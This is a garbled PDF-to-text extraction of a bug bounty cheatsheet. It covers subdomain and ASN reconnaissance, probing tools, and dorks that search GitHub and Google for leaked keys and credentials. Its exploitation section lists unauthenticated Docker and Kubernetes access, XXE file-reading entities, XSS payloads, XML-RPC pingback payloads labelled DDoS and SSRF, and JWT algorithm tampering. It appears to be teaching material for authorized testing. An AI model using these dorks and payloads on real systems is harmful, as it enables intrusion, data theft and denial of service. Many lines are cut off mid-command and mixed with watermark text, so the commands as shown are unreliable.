Bug Bounty Cheatsheet
Bug Bounty Cheatsheet
This is a massive WIP and truthfully I was planning on keeping this a private post as I am
really just braindumping my techniques on here not really ordered or structured but I figured
it may be useful to other people.
m0chan Also before I continue these are my main references that have helped me build my own
methodology.
Penetration Tester
[Link] - Main One
[Link] - Main One (Awesome Book)
© 2020
[Link]
[Link] - Main One
[Link]
[Link]
[Link]
Enumeration / Recon
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
m0chan
Penetration Tester
</img>
Before we jump into Subdomain Enumeration which is typically the first step for any program
that has a wildcard scope *.domain It’s worth mentioning a few things and different
locations we can get data from.
Also a small tip moving forward, if you are going to get into Bug Bounty I recommend that
you rent yourself a VPS as it will help a lot when carrying out long & CPU intensive tasks. It
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
will also help you offload heavy tasks and allow you to keep your main workstation for
manual testing and recon etc.
My personal preference is [Link] as I have used them for 4/5 years without a single
issue and it is not a pay-as-you-go service like DigitalOcean.
.*\.domain\.com$
m0chan
Putting this here as I always forget it :)
Penetration Tester
© 2020
cat final | rev | cut -d . -f 1-3 | rev | sort -u | tee [Link]
First tip is to use Basic Shodan, Google Dorks & ASN lookups to
You can then import all the scans into something like this for a
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
[Link]
Small Tips:
Btw, some people will tell you to use massscan due to the speed
© 2020
Make sure all API keys are populated, Shodan pro account is bene
Rapid7 FDNS
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
[Link]
[Link]
m0chan
wget [Link]
Penetration Tester 2019-11-29-1574985929-fdns_a.[Link] | pigz -dc | grep ".target.
This is a huge 19GB and contains A Names there are seperate down
© 2020 [Link]
#[Link]
Not tried this much yet but DNS Grep tool based around Rapid7 So
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Assetfinder by Tomnomnom
[Link]
go get -u [Link]/tomnomnom/assetfinder
m0chan
assetfinder [Link]
Penetration Tester
You need to set a couple API/Tokens for this too work, similar t
facebook
Needs FB_APP_ID and FB_APP_SECRET environment variables set (htt
© 2020
virustotal
Needs VT_API_KEY environment variable set ([Link]
findsubdomains
Needs SPYSE_API_TOKEN environment variable set (the free version
Findomain
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
#[Link]
Awesome little tool that can sometimes find domains amass cant -
Certspotter
[Link]
Virustotal
Sublist3r
Facebook **
Spyse (CertDB) *
m0chan Bufferover
Threadcrow
Penetration Tester Virustotal with apikey **
findomain -t [Link]
© 2020
#[Link]
Search Org name above to find all WHOIS Records with this Organi
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Take subdomains pipe them through assetfinder or amass again / c
#[Link]
m0chan
[Link]
Penetration Tester
[Link]
© 2020
[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Options:
--asn / --no-asn Enable/Disable ASN enumeration
--help Show this message and exit.
[Link]
Generate Basic Permutations
© 2020
#!/bin/bash
for i in $(cat /home/aidan/Tools/[Link]); do echo $i.$1
done;
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Reverse DNS Lookups on List of IP’s
#[Link]
You could do with a amass passive scan and not resolve domains w
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Certificate Transparency Logs
m0chan
$Tools/[Link] $Tools/massdns/lists/[Link] [Link] | m
Penetration Tester
© 2020
altdns -i input_domains.txt -o [Link] -w $Tools/a
This may take a while to run but should always be part of your r
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
#[Link]
© 2020
Find HTTP/HTTPS Servers with HTTProbe
the -p flag adds these ports to the scan, will increase time but
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Find HTTP/HTTPS Servers with nMap and Filtering
import xmltree
def removeHostname():
for host in [Link]('host'):
for elem in [Link]():
if 'name' in [Link] and [Link]['name'] ==
[Link](host)
[Link]('[Link]')
m0chan
Penetration Tester
Pass HTTProbe Results to EyeWitness
cp [Link] $Tools
© 2020
$Tools/EyeWitness/[Link] --web -f [Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
python $Tools/S3Scanner/[Link] -l [Link] -o buck
If you find open buckets you can run the useful bash look to enu
This will require basic auth key/secret which you can get for fr
© 2020
#[Link]
todo - As there is a few methods to talk about here but the best
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
#Fastest is Probably [Link]
python $Tools/subbrute/[Link] [Link] [Link] -t al
#[Link]
m0chan #[Link]
Penetration Tester Common speak from Assetnote has a unique way of generating wordl
one of my favorite wordlists to use for subdomain brute forcing.
numerous datasets on Google Big query that are constantly being
new information. These datasets are used by common speak to crea
that contain current technologies and terminology.
© 2020
dnsrecon -d [Link] -D [Link] -t brt
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Fuzzing Subdomains with WFuzz
wfuzz -c -f re -w /SecLists/Discovery/DNS/subdomains-top1mil-500
ASN Enumeration
I wasn’t sure if I should add this under Subdomain Enumeration but doesn’t really matter.
Here are a few techniques to discover subdomains and ports via companies publicly
available ASN numbers.
m0chan
ASNLookup
Penetration Tester
#[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
59065, PAYPALCN PayPal Network Information Services (Shanghai) C
206753, PAYPAL-
[Link]
[Link]
m0chan
Penetration Tester
© 2020
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
m0chan
Penetration Tester
© 2020
</img>
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Parse CIDR from ASN Lookup too AMass Enum
I have found to have really good results using `amass enum` here
Here I will discuss some basic tactics once you have a nice list of live subdomains
These crawling results can also be combined with the JSearch tec
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
curl -sL [Link] | grep 'href="/CC' | awk
#[Link]
#[Link]
Just like The Wayback Machine Common Crawl also regularly crawls
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
python3 $Tools/commoncrawl/[Link] -d [Link]
/[Link]
/[Link]
/[Link]
m0chan /api/apidocs
/apidocs
Penetration Tester /api
/api/v2
/api/v1
/v2
/[Link]
© 2020 /[Link]
/[Link]
/api/apidocs
/swagger
/swagger-ui
/[Link]
/swagger/[Link]
/api/[Link]
/v1.x/[Link]
/swagger/[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
/graphql
/graphiql
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
This may take a very long time to run and timeout depending on y
[Link]
[Link]
m0chan Be careful with the -t flag, I am using a pretty beefy VPS for t
Penetration Tester
© 2020 #[Link]
This will create a /out folder with results from each web server
grep -r api
grep -r phpinfo
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
[Link]
etc etc
#[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Recently while working on big programs I have had some success w
VPS:> cd EyeWitness
VPS:> grep -r Tomcat
VPS:> grep -r IIS6.0
etc etc
When EyeWitness runs it will save the source of the URLs it scre
m0chan
WaybackURLs - Fetch all URL’s that WayBackMachine Knows About a Domain
Penetration Tester
#[Link]
[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
GetAllURL’s
Tomnomnom’s Concurl
#[Link]
▶ head -n 7 out/[Link]/33ce069e645b0cb190ef0205af9200ae53b5
cmd: curl --silent [Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Get All Subdomain HTTP Headers & Responses
#Reference: [Link]
Cool little bash loop to handle this, we will loop through all t
Great way to find legacy web servers or quickly check the repons
m0chan
#!/bin/bash
Penetration Tester mkdir headers
mkdir responsebody
CURRENT_PATH=$(pwd)
for x in $(cat $1)
© 2020 do
NAME=$(echo $x | awk -F/ '{print $3}')
curl -X GET -H "X-Forwarded-For: [Link]" $x -I > "$CUR
curl -s -X GET -H "X-Forwarded-For: [Link]" -L $x > "$
done
In the next step I will show how we can use the collected data t
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Collecting JavaScript Files
#Reference: [Link]
This script will crawl all the responses from the previous scrip
#!/bin/bash
mkdir scripts
m0chan mkdir scriptsresponse
RED='\033[0;31m'
Penetration Tester NC='\033[0m'
CUR_PATH=$(pwd)
for x in $(ls "$CUR_PATH/responsebody")
do
© 2020 printf "\n\n${RED}$x${NC}\n\n"
END_POINTS=$(cat "$CUR_PATH/responsebody/$x" | grep -Eoi
for end_point in $END_POINTS
do
len=$(echo $end_point | grep "http" | wc -c)
mkdir "scriptsresponse/$x/"
URL=$end_point
if [ $len == 0 ]
then
URL="[Link]
fi
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
file=$(basename $end_point)
curl -X GET $URL -L > "scriptsresponse/$x/$file"
echo $URL >> "scripts/$x"
done
done
m0chan
#[Link]
Penetration Tester
LinkFinder is one of the best tools for parsing endpoints from J
We can simple pass a .js file locally and it will parse all link
© 2020 Of course if we combine this with the technique above we can usu
JsSearch
#[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
JsSearch is another handy JavaScript parser except this tool aim
#Dependancy: [Link]
#!/bin/bash
#looping through the scriptsresponse directory
mkdir endpoints
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
CUR_DIR=$(pwd)
for domain in $(ls scriptsresponse)
do
#looping through files in each domain
mkdir endpoints/$domain
for file in $(ls scriptsresponse/$domain)
do
ruby ~/relative-url-extractor/[Link] scripts
done
done
m0chan
Penetration Tester Fuzzing URL Parameters
#[Link]
#[Link]
© 2020
GET Bruteforce
POST Bruteforce
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
$ go run [Link] -url [Link] -post
$ go run [Link] -url [Link] -po
$ go run [Link] -url [Link] -po
$ go run [Link] -url [Link] -po
I won't get into this much as it's fairly straight forward, simp
Small Tips:
m0chan
1) Run this on a VPS ([Link] is my go-to)
Penetration Tester 2) Run inside a screen session with Screen -SmL
3) Pipe the output with | tee
Btw, some people will tell you to use massscan due to the speed
© 2020
Aquatone
#[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
small: 80, 443
medium: 80, 443, 8000, 8080, 8443 (same as default)
large: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 800
xlarge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082,
Google Dorks
[Link]
site:[Link] inurl:id=
site:[Link] filetype:php
m0chan site:[Link] intitle:upload
Penetration Tester inurl:”.php?id=” intext:”View cart”
inurl:”.php?cid=” intext:”shopping”
inurl:/[Link]?include=
inurl:”.php?query=”
© 2020
#Open Redirect
inurl:url=https
inurl:url=http
inurl:u=https
inurl:u=http
inurl:redirect?https
inurl:redirect?http
inurl:redirect=https
inurl:redirect=http
inurl:link=http
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
inurl:link=https
inurl:redirectUrl=http site:[Link]
#NodeJS Source
site:[Link] "Tesla"
site:[Link] "Tesla"
m0chan #Libararies IO
site:[Link] "Tesla"
Penetration Tester
#Coggle - MindMapping Software
site:[Link] "Tesla"
#Papaly
© 2020
site:[Link] "Tesla"
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
#Codepen - Online Coding Tool
site:[Link] "Tesla"
#Find S3 Buckets
site:.[Link] "Tesla"
To simplify this process I copy the above into Sublime and copy
[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Fingerprinting
During our recon phase and the techniques we employed above we gathered a lot of
information about a target from subdomains, CIDR, ASN’s, Endpoints etc but we didn’t really
gather HTTP Headers. I did show a few techniques but they probably fit in here more so I’ve
just duplicated them for simplicity.
Fingerprinting usually consists of using our discovered endpoints and analysing the
headers,version numbers, open/closed ports etc.
m0chan First technique is typically finding the open ports which we could do with nMap but it will take
Penetration Tester a while especially if we are working on a big program perhaps with tens of thousands of IP’s.
If this is the case then it’s probably best to look at Shodan.
Shodan Scans the entire internet on a daily basis and provides the data to it’s users (I
© 2020 highly recommend you get a pro account)
[Link]
net:CIDR/24,CIDR/24
Example
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
net:[Link]/24,[Link]/22
ssl:paypal
MassScan
m0chan
Penetration Tester #[Link]
You can also use the massscan-web-ui from OffSec or grep the res
[Link]
Wappalyzer
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
#[Link]
WafW00f
#[Link]
Penetration Tester There are also a few cool Burp plugins to faciliate this.
The great thing about Wafw00f is it will try detect which WAF is
© 2020
Finding Sensitive Loot
I wasn’t sure if I should put this under Exploitation but guess it’s own section is fitting, a few
techniques to find sensitive files that may have been pushed to github etc.
Github Dorking
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Similar to Shodan dorks etc we can pass dorks ot github to searc
For example
filename:.bash_history [Link]
filename:id_rsa [Link]
filename:token [Link]
filename:apikey [Link]
language:python username [Link]
language:python:username
#[Link]
© 2020
Its very common for devs to accidently push
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
m0chan GitMiner
Penetration Tester
#[Link]
$:> python3 [Link] -q 'filename:wp-config extension:ph
© 2020
$:> python3 [Link] --query 'extension:php "root" in:fi
[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Finding Subdomains That Resolve to Internal IP
Exploitation
This is a hard section to type up as some techniques may fall under other headings :) also I
probably won’t mention XSS & SQLi as they are the basics and lots of resources already
exist.
m0chan
Unauthenticated Elastic Search
Penetration Tester
Elastic Search has a HTTP Server running on Port 9200 that can b
© 2020
We can find these servers by scanning for Port 9200 or the Shoda
port:"9200" elastic
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Similar to Elastic Search, Docker has some servies that can be e
port:"2375" docker
product:docker
From here you can connect with the CLI version of Docker
docker -H ip:port ps
m0chan
Penetration Tester
Unauthenticated Kubernetes API
First let me say I am no Kubernetes expert but I know it exists
© 2020
Kubernetes exposes an unauthenticated REST API on port 10250
product:"kubernetes"
port:"10250"
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
apt-get install node-ws
wscat -c “[Link] Header Value>” –no-c
Shodan Dork
Try dirsearch for /script or use this script to find live Jenkin
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
I recommened if you are working on a big program with thousands
X-Hudson: 1.395
X-Jenkins: 2.204.2
X-Jenkins-Session: d615ef86
X-You-Are-Authenticated-As: anonymous
X-You-Are-In-Group-Disabled: JENKINS-39402:
XML External Entity (XXE)
© 2020
#[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Essentially there are something called ENTITYs within XML that r
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY user "m0chan">
<!ENTITY message "m0chanmessage">
]>
In this example the ENTITY user holds the info m0chan which can
Examples:
m0chan
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "[Link] >
Penetration Tester <!DOCTYPE foo [ <!ENTITY ext SYSTEM "[Link] > ]>
We could also combine this with PHP Object Injection (More on th
© 2020
<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource
This is the basis, if you want the proper example go and buy the
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
#[Link]
Server-Side-Request-Forgery
#[Link]
I am not going to explain SSRF here as its fairly straight forwa
m0chan For other payloads check out Payload All The Things
Penetration Tester
© 2020 Sometimes you may run into instances where applications are acce
Also
References: [Link]
[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Attacking AWS with SSRF
#[Link]
Reference: [Link]
© 2020
GraphQL Injection
#[Link]
More on this soon :)
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Server Side Template Injection
#[Link]
More on this soon :)
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Cross-Site Scripting (XSS)
#[Link]
#[Link]
<img/src=x onerror=prompt(1)>
Payload Below:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
%PDF-1.4
%äüöÃ
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
x=Ë
1E÷ù»v¶é´0è~ àø
R
R<h1>This is NOT a PDF!</h1> <img src=x onerror=alert(document.c
[Link]
m0chan
Penetration Tester
DDoS
<methodCall>
<methodName>[Link]</methodName>
<params><param>
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
<value><string>[Link] SERVER >:<port></string></value>
</param><param><value><string>[Link] VALID BLOG FROM THE S
</value></param></params>
</methodCall>
SSRF
<methodCall>
<methodName>[Link]</methodName>
<params><param>
<value><string>[Link] SERVER >:<port></string></value>
</param><param><value><string>[Link] VALID BLOG FROM THE S
m0chan </value></param></params>
</methodCall>
Penetration Tester
© 2020
#[Link]
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
SQL Injection
m0chan
Penetration Tester JWT Exploiting
#[Link]
© 2020
Full details above.
1) Access JWT Debugger too base64 decode and ensure that nothing
2) Try chang esome values and obtain IDOR, like `id` or `isA
3) Modigy ALG attribute, set HS256 to null
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
m0chan
Penetration Tester
© 2020
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD